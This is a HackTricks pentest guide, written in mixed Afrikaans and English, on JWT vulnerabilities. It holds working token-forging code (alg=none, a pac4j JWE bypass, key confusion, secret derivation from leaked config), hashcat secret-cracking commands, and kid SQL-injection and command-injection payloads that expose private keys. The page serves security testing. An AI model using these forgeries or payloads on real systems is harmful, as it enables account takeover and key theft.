JWT Vulnerabilities (Json Web Tokens)
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
Deel van hierdie post is gebaseer op die awesome post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Outeur van die great tool to pentest JWTs https://github.com/ticarpi/jwt_tool
Quick Wins
Run jwt_tool with mode All Tests! and wag vir green lines
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
As jy gelukkig is, sal die tool een geval vind waar die web application die JWT verkeerdelik nagaan:
.png)
Dan kan jy die request in jou proxy soek of die gebruikte JWT vir daardie request dump met jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Jy kan ook die Burp Extension SignSaboteur gebruik om JWT attacks vanaf Burp te loods.
Practical JWT assessment workflow
- Scope the session control: Kies ’n user-spesifieke request (bv. profile, billing). Verwyder cookies/headers een vir een totdat die request verwerp word om te isoleer watter token(s) eintlik authorization beheer.
- Locate JWTs in traffic: Hulle sit dikwels in
Authorization: Bearer <JWT>, maar verskyn ook in custom headers of cookies. As Burp hulle nie highlight nie, gebruik Target → Site map → Engagement tools → Search met regex patterns soos: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: Gebruik Burp JWT Editor of
python3 jwt_tool.py <JWT>om header/payload te lees. Let opalg,exp/token lifetime, en authn/authz-driving claims (role,id,username,email, ens.). - Signature enforcement sanity check: Verander of delete ’n paar bytes in die signature portion en replay. Aanvaarding impliseer ontbrekende signature validation en jy kan payload claims direk tamper.
- Goal: Verander payload claims om privileges te escalate; elke attack hieronder mik om die server te laat aanvaar ’n tampered payload deur weak verification, weak secrets, of unsafe key selection te abuse.
Tamper data without modifying anything
Jy kan net die data tamper terwyl die signature soos dit is bly en kyk of die server die signature check. Probeer byvoorbeeld jou username na “admin” verander.
Is the token checked?
Om te check of ’n JWT se signature geverify word:
- ’n Foutboodskap dui op lopende verification; sensitiewe details in verbose errors moet hersien word.
- ’n Verandering in die teruggestuurde page dui ook op verification.
- Geen verandering dui op geen verification; dit is wanneer jy met tampering payload claims kan eksperimenteer.
Origin
Dit is belangrik om vas te stel of die token server-side of client-side gegenereer is deur die proxy se request history te ondersoek.
- Tokens wat eers van die client side gesien word, suggereer dat die key moontlik in client-side code blootgestel is, wat verdere ondersoek noodsaak.
- Tokens wat server-side ontstaan, dui op ’n secure process.
Duration
Check of die token langer as 24h hou… dalk verval dit nooit. As daar ’n “exp” veld is, check of die server dit korrek hanteer.
Brute-force HMAC secret
As die header HS256 gebruik, dump die token na ’n file en probeer offline cracking:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Sodra die secret herstel is, laai dit as ’n symmetric key in Burp JWT Editor en re-sign gewysigde claims.
Derive JWT secrets from leaked config + DB data
As ’n arbitrary file read (of backup leak) beide application encryption material en user records blootstel, kan jy soms die JWT signing secret herskep en session cookies forge sonder om enige plaintext passwords te ken. Voorbeeldpatroon waargeneem in workflow automation stacks:
- Leak die app key (bv.
encryptionKey) uit ’n config file. - Leak die user table om
email,password_hash, enuser_idte verkry. - Derive die signing secret uit die key, en derive dan die per-user hash wat in die JWT payload verwag word:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Plaas die signed token in die session cookie (bv.
n8n-auth) om die user/admin account te impersonate selfs al is die password hash salted.
Modify the algorithm to None
Stel die algorithm wat gebruik word as “None” en verwyder die signature-deel.
Gebruik die Burp extension call “JSON Web Token” om hierdie vulnerability te probeer en om verskillende waardes binne die JWT te verander (stuur die request na Repeater en in die “JSON Web Token” tab kan jy die waardes van die token wysig. Jy kan ook kies om die waarde van die “Alg” field op “None” te stel).
JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
Sommige stacks verwag ’n signed inner JWT wat in ’n encrypted JWE wrapped is. In vulnerable pac4j-jwt versies (voor 4.5.9, 5.7.9, en 6.3.3), decrypt die authenticator die JWE, probeer om die payload as ’n signed JWT te parse, en verifieer slegs die signature as daardie conversion slaag. As die decrypted payload ’n PlainJWT is (alg=none), gee toSignedJWT() null terug en die signature verification path word oorgeslaan.
- Pre-reqs:
- Die application aanvaar JWE bearer tokens
- Die server public key is blootgestel (gewoonlik via JWKS soos
/.well-known/jwks.jsonof/api/auth/jwks) - Authorization hang af van attacker-controlled claims soos
sub,role,groups, ofscope - Impact: forge ’n encrypted token vir enige user/role met behulp van slegs die public key
Practical checks:
- Enumerate die frontend / API docs vir leidrade soos
RSA-OAEP-256,A128GCM/A256GCM,jwks, of comments wat sê “inner JWT is signed”. - Fetch die JWKS en import die RSA key vanaf
n/e. - Bou die inner token handmatig as
base64url(header) + "." + base64url(payload) + "."sodat die signature leeg is. - Encrypt daardie plaintext JWT as ’n JWE met die exposed public key en replay dit as die bearer token.
Minimal PlainJWT construction:
header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)
Enkripteer dit in ’n kompakte JWE met die RSA publieke sleutel van JWKS:
rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
Notas:
- As jou JWT library weier om
alg=noneuit te voer, genereer die compact token handmatig soos hierbo getoon. - Die
encwaarde moet ooreenstem met een wat deur die teiken aanvaar word; frontend comments en legitime tokens openbaar dit dikwels. - In SPAs, kyk of die bearer token gestoor word in
sessionStorage,localStorage, of `n JS-toeganklike cookie; om die forged token daar te plaas is dikwels genoeg om die bypass vinnig te valideer.
Verander the algorithm RS256(asymmetric) na HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
Die algorithm HS256 gebruik die secret key om elke message te sign en te verify.
Die algorithm RS256 gebruik die private key om die message te sign en gebruik die public key vir authentication.
As jy die algorithm van RS256 na HS256 verander, gebruik die back end code die public key as die secret key en gebruik dan die HS256 algorithm om die signature te verify.
Dan, met die public key en deur RS256 na HS256 te verander, kan ons ’n valid signature skep. Jy kan die certificate van die web server retrieve deur dit uit te voer:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Gebruik Burp JWT Editor, importeer die RSA public key (van /.well-known/jwks.json of ’n PEM) en voer Attack → HMAC Key Confusion Attack uit om die HS256 re-sign poging te outomatiseer.
New public key inside the header
’n Aanvaller embed ’n nuwe key in die header van die token en die server gebruik hierdie nuwe key om die signature te verifieer (CVE-2018-0114).
Dit kan gedoen word met die “JSON Web Tokens” Burp extension.
(Stuur die request na die Repeater, binne die JSON Web Token tab kies “CVE-2018-0114” en stuur die request).
JWKS Spoofing
Die instruksies beskryf ’n metode om die security van JWT tokens te assesseer, veral dié wat ’n “jku” header claim gebruik. Hierdie claim moet skakel na ’n JWKS (JSON Web Key Set) file wat die public key bevat wat nodig is vir die token se verification.
-
Assessing Tokens with “jku” Header:
-
Verifieer die “jku” claim se URL om seker te maak dit lei na die toepaslike JWKS file.
-
Verander die token se “jku” value om na ’n controlled web service te wys, wat traffic observasie toelaat.
-
Monitoring for HTTP Interaction:
-
Die waarneming van HTTP requests na jou gespesifiseerde URL dui daarop dat die server probeer om keys vanaf jou verskafde link te fetch.
-
Wanneer jy
jwt_toolvir hierdie proses gebruik, is dit noodsaaklik om diejwtconf.inifile op te dateer met jou persoonlike JWKS location om die testing te fasiliteer. -
Command for
jwt_tool: -
Voer die volgende command uit om die scenario met
jwt_toolte simuleer:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
’n Opsionele header claim bekend as kid word gebruik om ’n spesifieke key te identifiseer, wat veral belangrik word in omgewings waar multiple keys bestaan vir token signature verification. Hierdie claim help om die toepaslike key te kies om ’n token se signature te verifieer.
Revealing Key through “kid”
Wanneer die kid claim in die header teenwoordig is, is dit raadsaam om die web directory te soek vir die ooreenstemmende file of sy variasies. Byvoorbeeld, as "kid":"key/12345" gespesifiseer is, moet die files /key/12345 en /key/12345.pem in die web root gesoek word.
Path Traversal with “kid”
Die kid claim kan ook misbruik word om deur die file system te navigeer, wat moontlik die keuse van ’n arbitrary file toelaat. Dit is haalbaar om vir connectivity te toets of Server-Side Request Forgery (SSRF) attacks uit te voer deur die kid value te verander om spesifieke files of services te target. Om die JWT te tamper om die kid value te verander terwyl die oorspronklike signature behoue bly, kan met die -T flag in jwt_tool gedoen word, soos hieronder gedemonstreer:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Deur lêers met voorspelbare inhoud te teiken, is dit moontlik om ’n geldige JWT te forge. Byvoorbeeld, die /proc/sys/kernel/randomize_va_space lêer in Linux-stelsels, bekend daarvoor dat dit die waarde 2 bevat, kan in die kid parameter gebruik word met 2 as die simmetriese wagwoord vir JWT-generering.
’n Praktiese patroon vir brose file-system key loading is om ’n HS256 key met JWK k op AA== te genereer, kid op ’n traversal soos ../../../../../../../dev/null te stel, en weer te sign—sommige implementasies behandel die leë lêer as ’n geldige HMAC secret en sal forged tokens aanvaar.
SQL Injection via “kid”
As die inhoud van die kid claim gebruik word om ’n wagwoord uit ’n database te haal, kan ’n SQL injection gefasiliteer word deur die kid payload te wysig. ’n Voorbeeld-payload wat SQL injection gebruik om die JWT signing process te verander, sluit in:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Hierdie verandering dwing die gebruik van ’n bekende secret key, ATTACKER, vir JWT signing.
OS Injection through “kid”
’n Scenario waar die kid parameter ’n file path spesifiseer wat binne ’n command execution context gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur commands in die kid parameter in te spuit, is dit moontlik om private keys bloot te stel. ’n Voorbeeld-payload om RCE en key exposure te bereik is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku staan vir JWK Set URL.
As die token ’n “jku” Header claim gebruik, dan kijk na die verskafde URL. Dit moet wys na ’n URL wat die JWKS file bevat wat die Public Key vir die verifiëring van die token hou. Manipuleer die token om die jku-waarde na ’n web service te laat wys wat jy kan monitor vir traffic.
Eerstens moet jy ’n nuwe certificate skep met nuwe private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Dan kan jy byvoorbeeld jwt.io gebruik om die nuwe JWT te skep met die geskepte public and private keys en die parameter jku te laat wys na die created certificate. Om ’n geldige jku certificate te skep, kan jy die oorspronklike een aflaai en die nodige parameters verander.
Jy kan die parameters “e” en “n” uit ’n public certificate verkry met:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
As die verifier sleutelmateriaal op afstand gaan haal, embed ’n Burp Collaborator URL in jku/x5u met JWT Editor → Attack → Embed Collaborator payload. Enige callback bevestig SSRF-style key retrieval; host dan jou eie JWKS/PEM by daardie URL en re-sign met jou private key sodat die service attacker-minted tokens valideer.
x5u
X.509 URL. ’n URI wat na ’n stel X.509 (’n certificate format standard) public certificates wys wat in PEM-formaat gekodeer is. Die eerste certificate in die stel moet die een wees wat gebruik word om hierdie JWT te sign. Die daaropvolgende certificates sign elk die vorige een, en voltooi dus die certificate chain. X.509 word gedefinieer in RFC 52807 . Transport security word vereis om die certificates oor te dra.
Probeer om hierdie header te verander na ’n URL onder jou beheer en kyk of enige request ontvang word. In daardie geval kon jy die JWT tamper.
Om ’n nuwe token te forge met ’n certificate wat deur jou beheer word, moet jy die certificate skep en die public en private keys uittrek:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then kan jy byvoorbeeld jwt.io gebruik om die nuwe JWT te skep met die geskepte public en private keys en deur die parameter x5u na die certificate .crt wat geskep is te wys.
.png)
Jy kan ook albei van hierdie vulns vir SSRFs misbruik.
x5c
Hierdie parameter kan die certificate in base64 bevat:
.png)
As die attacker ’n self-signed certificate genereer en ’n forged token skep met die ooreenstemmende private key en die “x5c” parameter se waarde vervang met die nuutgegenereerde certificate en die ander parameters, naamlik n, e en x5t, wysig, dan sal die forged token in wese deur die server aanvaar word.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Ingebedde Publieke Sleutel (CVE-2018-0114)
As die JWT ’n publieke sleutel ingebed het soos in die volgende scenario:
.png)
Deur die volgende nodejs script te gebruik, is dit moontlik om ’n publieke sleutel uit daardie data te genereer:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Dit is moontlik om ’n nuwe private/public key te genereer, die nuwe public key binne die token in te bed, en dit te gebruik om ’n nuwe signature te genereer:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Jy kan die “n” en “e” verkry deur hierdie nodejs script te gebruik:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Uiteindelik, met die public en private key en die nuwe “n” en “e” waardes kan jy jwt.io gebruik om ’n nuwe geldige JWT met enige inligting te forge.
ES256: Onthul die private key met dieselfde nonce
As sommige applications ES256 gebruik en dieselfde nonce gebruik om twee jwts te genereer, kan die private key herstel word.
Hier is ’n voorbeeld: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
Die JTI (JWT ID) claim verskaf ’n unieke identifiseerder vir ’n JWT Token. Dit kan gebruik word om te voorkom dat die token herhaal word.
Maar stel jou voor ’n situasie waar die maksimum lengte van die ID 4 is (0001-9999). Die request 0001 en 10001 gaan dieselfde ID gebruik. So as die backend die ID op elke request inkrementeer, kan jy dit misbruik om ’n request te replay (waarvoor jy 10000 request tussen elke suksesvolle replay moet stuur).
JWT Registered claims
Ander attacks
Cross-service Relay Attacks
Daar is waargeneem dat sommige web applications staatmaak op ’n trusted JWT service vir die generation en management van hul tokens. Gevalle is opgeteken waar ’n token, gegenereer vir een client deur die JWT service, deur ’n ander client van dieselfde JWT service aanvaar is. As die issuance of renewal van ’n JWT via ’n third-party service waargeneem word, moet die moontlikheid ondersoek word om vir ’n account op ’n ander client van daardie service aan te meld met dieselfde username/email. ’n Poging moet dan gemaak word om die verkreë token in ’n request na die target te replay om te sien of dit aanvaar word.
- ’n Kritieke issue kan aangedui word deur die aanvaarding van jou token, wat moontlik die spoofing van enige user se account kan toelaat. Daar moet egter op gelet word dat permission vir wyer testing moontlik nodig is as jy op ’n third-party application aanmeld, aangesien dit in ’n regtelike grys area kan beland.
Expiry Check of Tokens
Die token se expiry word nagegaan met die “exp” Payload claim. Aangesien JWTs dikwels sonder session information gebruik word, is noukeurige hantering nodig. In baie gevalle kan die capture en replay van ’n ander user se JWT die impersonation van daardie user moontlik maak. Die JWT RFC beveel aan om JWT replay attacks te verminder deur die “exp” claim te gebruik om ’n expiry tyd vir die token te stel. Verder is die implementering van relevante checks deur die application om die verwerking van hierdie waarde en die verwerping van expired tokens te verseker, van kritieke belang. As die token ’n “exp” claim bevat en testing time limits dit toelaat, word dit aanbeveel om die token te stoor en dit weer te replay nadat die expiry tyd verby is. Die inhoud van die token, insluitend timestamp parsing en expiry checking (timestamp in UTC), kan gelees word met jwt_tool se -R flag.
- ’n Security risk kan teenwoordig wees as die application steeds die token valideer, aangesien dit kan impliseer dat die token nooit kan expire nie.
Tools
- jwt_tool – decoding, claim/header tampering, offline secret cracking (
-C) en semi-automated attack modes (-M at). - Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, en run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
- 0xdf - HTB: Principal
- CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


